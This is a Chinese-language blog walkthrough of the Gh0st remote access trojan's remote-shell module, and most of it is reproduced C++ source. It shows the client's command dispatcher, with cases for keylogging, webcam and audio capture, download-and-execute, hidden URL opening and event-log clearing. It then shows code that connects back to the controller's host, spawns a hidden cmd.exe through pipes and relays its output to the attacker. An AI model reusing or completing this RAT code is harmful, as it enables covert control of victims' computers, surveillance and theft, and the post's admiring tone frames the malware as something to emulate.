主要分析,客户端连接上主控端后,主控端主动要求进行终端管理后的一系列实现过程。
一、主控端发起远控申请指令COMMAND_SHELL
1、点击“终端管理”按钮后,主控端获取要进行远控的客户端(这里我习惯称为客户端,也有人称被控端为服务端)连接上来的套接字,然后向该客户端发送指令COMMAND_SHELL
二、客户端对收到的远控申请处理
1、客户端的工作线程WorkThread收到主控端的数据,调用OnRead进行对接收的数据解析,大约包括检测数据头“GHOST”、数据完整性检测和解压数据包,然后调用OnReceive函数(如下),根据数据的消息头进行相应的操作。
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
2、跟进m_pManager的OnReceive后,发现CManager的OnReceive函数,并没有进行实现。
以下是CManager中对于OnReceive的函数声明,可以看出该方法为一个虚函数,肯定是有类对该方法进行了重写。
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
3、回头想下m_pManager的赋值是在哪呢?
在MainDll中,有以下两句代码对m_pManager进行赋值,而CKernelManager继承于CManager,同时对OnReceive进行了重写。
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);
CKernelManager中对于OnReceive方法的重写源码如下:
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_ACTIVED:
InterlockedExchange((LONG *)&m_bIsActived, true);
break;
case COMMAND_LIST_DRIVE: // 文件管理
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, false);
break;
case COMMAND_SCREEN_SPY: // 屏幕查看
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_WEBCAM: // 摄像头
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_AUDIO: // 摄像头
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_SHELL: // 远程sehll
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_KEYBOARD:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_SYSTEM:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_DOWN_EXEC: // 下载者
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
(LPVOID)(lpBuffer + 1), 0, NULL, true);
Sleep(100); // 传递参数用
break;
case COMMAND_OPEN_URL_SHOW: // 显示打开网页
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
break;
case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页
OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
break;
case COMMAND_REMOVE: // 卸载,
UnInstallService();
break;
case COMMAND_CLEAN_EVENT: // 清除日志
CleanEvent();
break;
case COMMAND_SESSION:
CSystemManager::ShutdownWindows(lpBuffer[1]);
break;
case COMMAND_RENAME_REMARK: // 改备注
SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1));
break;
case COMMAND_UPDATE_SERVER: // 更新服务端
if (UpdateServer((char *)lpBuffer + 1))
UnInstallService();
break;
case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包
break;
}
}
4、接下来便是根据指令COMMAND_SHELL调用Loop_ShellManager线程,并将套接字作为线程参数传入。
DWORD WINAPI Loop_ShellManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CShellManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
其实这里可以发现,我们传入的套接字并没有使用到。而是新创建了一个套接字,专门用于进行一系列的远程终端的数据收发操作。
其中的CShellManager类主要就是进行远程终端管理的相关操作实现,该类的构造函数实现了相关的管道初始化和线程的创建。
CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
{
SECURITY_ATTRIBUTES sa = {0};
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
char strShellPath[MAX_PATH] = {0};
m_hReadPipeHandle = NULL;
m_hWritePipeHandle = NULL;
m_hReadPipeShell = NULL;
m_hWritePipeShell = NULL;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
//这里创建管道了
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
{
if(m_hReadPipeHandle != NULL) CloseHandle(m_hReadPipeHandle);
if(m_hWritePipeShell != NULL) CloseHandle(m_hWritePipeShell);
return;
}
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
{
if(m_hWritePipeHandle != NULL) CloseHandle(m_hWritePipeHandle);
if(m_hReadPipeShell != NULL) CloseHandle(m_hReadPipeShell);
return;
}
memset((void *)&si, 0, sizeof(si));
memset((void *)&pi, 0, sizeof(pi));
GetStartupInfo(&si);
si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = m_hReadPipeShell; //将管道赋值
si.hStdOutput = si.hStdError = m_hWritePipeShell;
GetSystemDirectory(strShellPath, MAX_PATH);
strcat(strShellPath,"\\cmd.exe");
//创建cmd进出 并指定管道
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
{
CloseHandle(m_hReadPipeHandle);
CloseHandle(m_hWritePipeHandle);
CloseHandle(m_hReadPipeShell);
CloseHandle(m_hWritePipeShell);
return;
}
m_hProcessHandle = pi.hProcess;
m_hThreadHandle = pi.hThread;
//通知主控端 一切准备就绪
BYTE bToken = TOKEN_SHELL_START;
Send((LPBYTE)&bToken, 1);
WaitForDialogOpen();
//然后创建一个读取管道数据的 线程
m_hThreadRead = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
//再创建一个等待的线程 等待管道关闭 也就是用户关闭终端管理
m_hThreadMonitor = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorThread, (LPVOID)this, 0, NULL);
}
这里会发送一个指令TOKEN_SHELL_START,用于通知主控端这里已经准备就绪。
三、主控端收到客户端准备就绪指令TOKEN_SHELL_START
1、同样是解压数据包,然后调用主窗体类中的ProcessReceiveComplete方法,对接收到的数据包根据数据头进行相应处理
case TOKEN_SHELL_START:
g_pPCRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
break;
2、WM_OPENSHELLDIALOG是自定义的一个消息,主窗体收到该消息后:
ClientContext *pContext = (ClientContext *)lParam;
//这里定义远程终端的对话框
CShellDlg *dlg = new CShellDlg(this, m_iocpServer, pContext);
dlg->Create(IDD_SHELL, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
pContext->m_Dialog[0] = SHELL_DLG;
pContext->m_Dialog[1] = (int)dlg;
主控端打开自己实现的用于远程终端控制的CShellDlg,该Dlg中实现了相关的远程终端操作。
窗体打开后,主控端会发送指令COMMAND_NEXT,客户端在WaitForDialogOpen()中收到该指令后,创建ReadPipeThread线程,用于对于远程终端操作的客户端实现(管道)。
四、主控端与客户端的交互
接下来便是,主控端与客户端的交互。客户端根据主控端的Shell指令进行相应的操作。
1、主控端对客户端数据到来的处理流程
最先是IOCP模型收到数据包,然后进行分发给主控端的消息处理,主控端将完整收到的数据包后调用ProcessReceiveComplete进行消息分发,在ProcessReceiveComplete中判断该套接字是否与窗口关联(部分源码如下),然后判断该窗口是否为远程终端管理窗口
if (pContext->m_Dialog[0] > 0)
{
switch (pContext->m_Dialog[0])
{
...
case SHELL_DLG:
((CShellDlg *)dlg)->OnReceiveComplete();
break;
...
}
}
然后调用CShellDlg中的OnReceiveComplete,进行将收到的数据显示出来的功能,这样就完成了对客户端发来的数据进行的处理。
void CShellDlg::OnReceiveComplete(void)
{
AddKeyBoardData();
m_nReceiveLength = m_edit.GetWindowTextLength();
}
2、主控端对客户端发送Shell指令流程
解析出写的Shell指令后,直接通过套接字发送即可
BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
{
//如果是键盘按下
if (pMsg->message == WM_KEYDOWN)
{
// 屏蔽VK_ESCAPE、VK_DELETE
if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE)
return true;
//如果是可编辑框的回车键
if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_edit.m_hWnd)
{
//得到窗口的数据大小
int len = m_edit.GetWindowTextLength();
CString str;
//得到窗口的字符数据
m_edit.GetWindowText(str);
//加入换行符
str += "\r\n";
m_iocpServer->Send(m_pContext, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel);
m_nCurSel = m_edit.GetWindowTextLength();
}
// 限制VK_BACK
if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_edit.m_hWnd)
{
if (m_edit.GetWindowTextLength() <= m_nReceiveLength)
return true;
}
}
// Ctrl没按下
if (pMsg->message == WM_CHAR && GetKeyState(VK_CONTROL) >= 0)
{
int len = m_edit.GetWindowTextLength();
m_edit.SetSel(len, len);
// 用户删除了部分内容,改变m_nCurSel
if (len < m_nCurSel)
m_nCurSel = len;
}
return CDialog::PreTranslateMessage(pMsg);
}
3、客户端对主控端发来的Shell指令的处理流程
客户端收到主控端的数据后,调用OnReceive函数,将主控端发送来的数据写入到cmd的输入管道中
void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT) //判断是否为通知主控端对话框打开
{
NotifyDialogIsOpen();
return;
}
unsigned long ByteWrite;
WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
}
数据写入到输入管道中后,ReadPipeThread线程读取到管道数据,然后发送给主控端。
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
{
unsigned long BytesRead = 0;
char ReadBuff[1024];
DWORD TotalBytesAvail;
CShellManager *pThis = (CShellManager *)lparam;
while (1)
{
Sleep(100);
while (PeekNamedPipe(pThis->m_hReadPipeHandle, ReadBuff, sizeof(ReadBuff), &BytesRead, &TotalBytesAvail, NULL))
{
//如果没有数据就跳出本本次循环
if (BytesRead <= 0)
break;
memset(ReadBuff, 0, sizeof(ReadBuff));
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
//读取管道数据
ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
// 发送数据
pThis->Send(lpBuffer, BytesRead);
LocalFree(lpBuffer);
}
}
return 0;
}
致敬Ghost作者。